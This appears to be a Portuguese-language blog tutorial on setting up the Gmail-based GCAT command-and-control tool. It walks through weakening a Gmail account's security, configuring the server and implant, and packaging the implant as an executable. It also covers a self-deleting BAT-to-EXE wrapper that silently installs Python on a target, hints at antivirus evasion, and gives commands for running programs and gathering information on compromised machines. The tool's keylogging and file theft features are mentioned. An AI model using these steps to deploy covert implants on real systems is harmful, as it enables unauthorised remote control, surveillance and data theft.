Um servidor de comando e controle [C&C] é um computador controlado por um invasor ou cibercriminoso que é usado para enviar comandos a sistemas comprometidos por malware e receber dados roubados de uma rede de destino. Muitas campanhas foram encontradas usando serviços baseados em nuvem , como webmail e serviços de compartilhamento de arquivos, como servidores C&C para se misturar ao tráfego normal e evitar detecção.

servidores C&C servem como centros de comando que o malware relacionado a ataques direcionados usa para armazenar dados roubados ou baixar comandos. Estabelecer comunicações C&C é uma etapa vital para os invasores se moverem lateralmente dentro de uma rede.

Os servidores C&C também servem como quartéis-generais para máquinas comprometidas em um botnet. Ele pode ser usado para disseminar comandos que podem roubar dados, espalhar malware, interromper serviços da Web e muito mais. Os sistemas C&C usados por botnets podem seguir qualquer um destes três modelos: O modelo centralizado, modelo peer-to-peer [P2P] e o modelo aleatório.

https://www.trendmicro.com/vinfo/us/security/definition/command-and-control-server

Ferramentas de C&C

Você tem inúmeras ferramentas de C&C que são bacanas de utilizar, eu particularmente gosto do Cobalt Strike, mas é sempre legal experimentar outras alternativas:

https://github.com/infosecn1nja/Red-Teaming-Toolkit

Um artigo bacana sobre covenant é do João Paulo, recomendo a leitura, segue o link:

https://www.linkedin.com/pulse/kommando-utilizando-estruturas-de-comando-e-controle-andrade-filho/?trackingId=ZRYstb4bRyCG61z75cYErQ%3D%3D

GCAT C&C

Nesse exemplo vou falar um pouco sobre o GCAT, pois curtir bastante ele principalmente por ser feito em Python e bem simples de se configurar.

Caso você queira baixar https://github.com/byt3bl33d3r/gcat

Vamos ao processo de configuração, eu recomendo que você crie uma conta de e-mail no GMAIL somente para isso, pois vamos habilitar configurações que acarretam em menos segurança para maior efetividade da ferramenta.

Primeiramente, você vai habilitar à utilização de Apps menos seguros:

Não foi fornecido texto alternativo para esta imagem

https://myaccount.google.com/u/3/lesssecureapps?pli=1

Após isso, você vai no seu GMAIL, acessar a barra de configurações, clicando na engrenagem e em seguida vai clicar em ver todas as definições e ativar o recurso IMAP, em resumo o objetivo da ativação é para que ele leia e-mails de diferentes tipos de recursos e caminhos, assim eliminando a probabilidade do nosso C&C não ser eficiente e acabar não funcionando. Para realizar essa configuração, basta fazer o seguinte:

Não foi fornecido texto alternativo para esta imagem

Agora vamos efetuar o processo de Download e configuração do nosso GCAT, são bem simples:

Não foi fornecido texto alternativo para esta imagem

Basta clonar o repositório do github, digitando:

git clone https://github.com/byt3bl33d3r/gcat

Depois é só acessar a pasta do gcat e dentro dela vai ter dois arquivos importantes chamados gcat.py e implant.py

Não foi fornecido texto alternativo para esta imagem

Sendo o gcat.py o nosso servidor e o implant.py o nosso agente ao qual vai ser usado para executar na máquina do alvo, mas antes será necessário alterar apenas 2 linhas em ambos os arquivos:

Não foi fornecido texto alternativo para esta imagem

Basta colocar o seu e-mail e senha ao qual foi criado e configurado para o C2,além disso tem outras configurações que você pode fazer no implant nas linhas abaixos que estão comentadas, mas eu não vou modificar mais nada, pois é apenas um laboratório.

Agora o que você pode fazer?

  • Baixar o Pyinstaller ou Py2Exe e gerar um executável em cima do implant.py
  • Ao comprometer o alvo, você pode criar um arquivo silencioso para instalar uma versão python2 e assim executar o implant.py via interpretador
  • Caso a máquina já tenha instalado o Python é só executar o implant.py

Vou mostrar os dois primeiros processos de maneira superficial!

Usando o Py2Exe, você vai instalar usando o comando:

pip install py2exe

Não foi fornecido texto alternativo para esta imagem

Vai criar esse script, chamando o implant.py em uma console ao qual ele vai executar uma série de comandos.

Após isso basta digitar:

python script.py py2exe

Ai ele vai gerar o executável para você de 32 bits ou de 64 bits, eu recomendo que você gere conforme a arquitetura da sua máquina, pois se ela for de 32 a principio em automatico ele vai gerar de 32 bits mesmo.

Utilizando PyInstaller é um pouco diferente, mas é bem simples também, você vai instalar:

pip install pyinstaller

Após isso é só executar o comando:

pyinstaller implant.py

Não foi fornecido texto alternativo para esta imagem

Pronto! Processo efetuado com sucesso, basta pegar o arquivo.exe na pasta /gcat/dist/implant/

https://www.py2exe.org/index.cgi/Tutorial

https://pyinstaller.readthedocs.io/en/stable/usage.html

Por fim, você tem uma gambiarra que eu gosto de fazer e é algo que eu particularmente não vi muita gente fazendo, no meu caso eu utilizo um BAT EXEC CONVERTER para instalar pacotes essências não ofensivos, mas que são necessários para executar algo ofensivo.

Então eu crio um script em BAT que reconhece se o sistema é 32 ou 64 bits e baixo 2 pacotes do Python em MSI tanto de 32 como de 64, você pode baixar pelo próprio site

Mais detalhes: https://www.python.org/download/releases/2.5/msi/

Agora vamos ao processo:

Não foi fornecido texto alternativo para esta imagem

Esses nomes python64-install e python32-install é só representando os nomes dos executáveis, você baixar as duas versões e jogar em uma pasta junto com o script.bat, em resumo esse script tem uma estrutura de condição que não faz a melhor verificação, mas que ajuda bastante na instalação silenciosa e automatizada de um arquivo, detalhe é o /qn que ele é uma opção que não faz interação em nenhum momento com o usuário, sendo silenciosa.

Agora é só baixar um bat_to_exec_converter, eu tenho um aqui no meu drive e vou compartilhar com vocês:

Não foi fornecido texto alternativo para esta imagem

Primeiramente vamos selecionar o nosso script.bat que é o principal para automatizar a nossa instalação

Não foi fornecido texto alternativo para esta imagem

Em save-as você pode mudar o nome do executável para o que desejar, e de resto você pode colocar essas configurações que eu definir, pois eles vão executar de maneira silenciosa esse executável também, além de executar na pasta %temp% e ser apagado depois da instalação.

Não foi fornecido texto alternativo para esta imagem

Na opção include, você vai incluir aqueles 2 MSI que são os dois instaladores, como eu fiquei com preguiça de baixa-los, eu usei 2 que eu tinha só para exemplificar mesmo rsrsrsrs

Não foi fornecido texto alternativo para esta imagem

Por fim, você tem umas modificações extras que você pode fazer se quiser, é opcional, ai basta compilar que ele vai nos gerar o nosso executável e ai é só testar, claro que antivírus na sua maioria fazem verificações nesse tipo de arquivo, por isso é só um exemplo mesmo, mas com criatividade as coisas podem ser melhoradas 😉

https://www.battoexeconverter.com/

Após fazer o processo desejado e executar na máquina alvo, seja iniciando um executável ou utilizando o interpretador do python para iniciar o implant.py, ex: python implant.py, você vai receber um e-mail e assim você terá acesso remoto a máquina.

Não foi fornecido texto alternativo para esta imagem

Agora no terminal basta digitar:

python gcat.py -list para ver os IDs disponível, pois eles são os IDs de cada máquina como agente executado

Não foi fornecido texto alternativo para esta imagem

Como executar comandos?

Não foi fornecido texto alternativo para esta imagem

python gcat.py ele te mostra o help dele, vamos a brincadeira

Não foi fornecido texto alternativo para esta imagem

python gcat.py -id “id da maquina” -cmd dir

Ele vai executar o comando dir na máquina alvo, referente ao ID é sempre aquele código que parece uma HASH sempre antes do nome do Sistema Operacional.

Não foi fornecido texto alternativo para esta imagem

Após executar o comando, ele cria um jobid ao qual você pode utilizar para visualizar a resposta do programa ou não

Não foi fornecido texto alternativo para esta imagem

Assim ele retorna para você os diretórios aonde o implant.py está sendo executado, caso você não especifique um caminho utilizando aspas simples (‘ ‘)

Um outro comando que você pode utilizar é o -info que trás informações cruciais do seu alvo

 python gcat.py -id “id” -info

Não foi fornecido texto alternativo para esta imagem

Em resumo a ferramentas tem outras funcionalidades também, como keylogger, download e upload de arquivos e screenshoot, porém é necessário fazer algumas alterações a mais para que ela fique 100%, por isso é bom saber programar em situações como essa também.

Conclusão

Esse é um exemplo de C2 bem simples, não é tão avançado, mas utiliza algo como o GMAIL que você não imaginaria que poderia ser útil como um meio ofensivo, mas é claro que existem C2 mais sofisticado, tem alguns que utilizam próprio telegram ao qual pretendo mostrar mais para frente.

Mas imagine isso em um cenário estilo MR. Robot aonde você usa um Raspberry PI e com o gcat você cria um C&C para enviar comandos para seu raspberry e até mesmo realizar ações maliciosas, inúmeras possibilidades!

Eu espero que você tenha gostado desse simples artigo, nada tão profundo, mas feedbacks são bem vindos e você pode explorar a ferramenta com mais detalhes se desejar, pretendo trazer outros C&C para vocês.

Caso queira ver outros artigos meus, acesse: https://www.linkedin.com/in/joas-antonio-dos-santos/

Autor

  • joas

    8 years of academic and professional experience, Cyber Security Analyst, Cyber and Information Security Consultant, Information Security, Ethical Hacking and PenTester, OWASP Member and Researcher, Cybrary Teacher Assistant, Microsoft Instructor, Web Developer, Bug Hunter by HackerOne and OBB, Python Developer, has over +440 technology courses and +42 certifications, SANS Member, CIS Member and Research, Infosec Competence Leader in Security Awareness, Cyber Security Mentor, Writer Professional in Blog and Magazines, Exploit Developer, EC-COUNCIL Voluntary Blog Writer and IT Lover.

    Ver todos os posts

Views: 597